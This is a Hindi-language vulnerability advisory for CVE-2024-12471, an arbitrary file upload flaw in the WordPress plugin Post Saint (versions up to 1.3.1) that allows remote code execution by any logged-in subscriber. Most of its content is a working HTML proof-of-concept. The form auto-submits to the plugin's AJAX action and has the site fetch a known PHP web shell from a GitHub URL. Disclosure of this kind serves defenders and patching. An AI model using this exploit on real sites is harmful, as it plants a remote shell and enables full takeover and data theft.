CVE-2024-12471

Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator <= 1.3.1 - प्रमाणीकृत (सब्सक्राइबर+) उपयोगकर्ताओं के लिए प्राधिकरण की कमी से मनमाना फ़ाइल अपलोड

विवरण

WordPress के लिए Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator प्लगइन, 1.3.1 तक के सभी संस्करणों में, add_image_to_library AJAX एक्शन फ़ंक्शन पर क्षमता जाँच (capability check) और फ़ाइल प्रकार सत्यापन की कमी के कारण मनमानी फ़ाइल अपलोड के प्रति संवेदनशील है। यह प्रमाणीकृत हमलावरों को, सब्सक्राइबर-स्तर और उससे ऊपर की पहुंच के साथ, मनमानी फ़ाइलें अपलोड करने में सक्षम बनाता है जिससे रिमोट कोड निष्पादन (remote code execution) संभव हो जाता है।

विवरण

प्रकार: plugin
स्लग: post-saint
प्रभावित संस्करण: 1.3.1
CVSS स्कोर: 8.8
CVSS रेटिंग: उच्च
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-12471
स्थिति: बंद

POC

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="add&#95;image&#95;to&#95;library" />
      <input type="hidden" name="image&#95;url" value="https&#58;&#47;&#47;raw&#46;githubusercontent&#46;com&#47;flozz&#47;p0wny&#45;shell&#47;refs&#47;heads&#47;master&#47;shell&#46;php" />
      <input type="hidden" name="image&#95;prompt" value="say&#32;hello" />
      <input type="hidden" name="insert&#95;prompt&#95;media&#95;library&#95;fields" value="caption&#95;description" />
      <input type="hidden" name="image&#95;generator" value="pexels" />
      <input type="hidden" name="log&#95;id" value="1667" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CVE-2024-12471

सबसे लोकप्रिय

CVE-2024-12471

विवरण

विवरण

POC